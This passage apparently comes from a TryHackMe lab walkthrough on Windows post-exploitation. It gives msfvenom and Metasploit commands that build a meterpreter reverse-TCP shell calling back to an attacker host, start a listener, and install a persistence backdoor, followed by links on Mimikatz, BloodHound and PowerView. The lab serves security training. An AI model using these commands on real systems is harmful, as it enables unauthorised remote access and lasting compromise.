1.) msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe this will generate a basic windows meterpreter reverse tcp shell
2.) Transfer the payload from your attacker machine to the target machine.
3.) use exploit/multi/handler - this will create a listener on the port that you set it on.
4.) Configure our payload to be a windows meterpreter shell: set payload windows/meterpreter/reverse_tcp
5.) After setting your THM IP address as your "LHOST", start the listener with run
6.) Executing the binary on the windows machine will give you a meterpreter shell back on your host - let's return to that
7.) Verify that we've got a meterpreter shell, where we will then background it to run the persistence module.
1.) use exploit/windows/local/persistence this module will send a payload every 10 seconds in default however you can set this time to anything you want
2.) set session 1 set the session to the session that we backgrounded in meterpreter (you can use the sessions command in metasploit to list the active sessions)
If the system is shut down or reset for whatever reason you will lose your meterpreter session however by using the persistence module you create a backdoor into the system which you can access at any time using the metasploit multi handler and setting the payload to windows/meterpreter/reverse_tcp allowing you to send another meterpreter payload to the machine and open up a new meterpreter session.
Here you can see the session die however the second we run the handler again we get a meterpreter shell back thanks to the persistence service.
There are other ways of maintaining access such as adding users and rootkits however I will leave you to do your own research and labs on those topics.
This room has given a good beginning with post-exploitation however there are a lot of other methods ever-evolving. I suggest to you to go out and do your own research find your own tools that you like to use for post-exploitation. I hope to make another room similar to this covering more advanced topics such as more in-depth backdoors and trojans, pivoting, token impersonation, and silver ticket attacks. I hope that this room has helped to give you a better understanding of how post-exploitation works in a real-world scenario.
- https://blog.harmj0y.net/
- https://adsecurity.org/?page_id=1821
- https://metasploit.help.rapid7.com/docs/about-post-exploitation
- http://www.pentest-standard.org/index.php/Post_Exploitation
- https://offsec.red/mimikatz-cheat-sheet/
- https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- https://github.com/gentilkiwi/mimikatz
- https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.ps1
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
For additional information, please see the references below.
- BloodHound - Docs
- BloodHound - GitHub
- BloodHound - Homepage
- BloodHound - Query Library
- Hashcat - Homepage
- Hashcat - Kali Tools
- Mimikatz - GitHub
- Mimikatz - Wiki
- Msfvenom - Metasploit Docs
- Msfvenom - Kali Tools
- PowerShell - Wikipedia
- PowerView - Documentation
- PowerView - GitHub
- PowerView-3.0 tips and tricks - GitHub
- SharpHound - GitHub
- xfreerdp - Linux manual page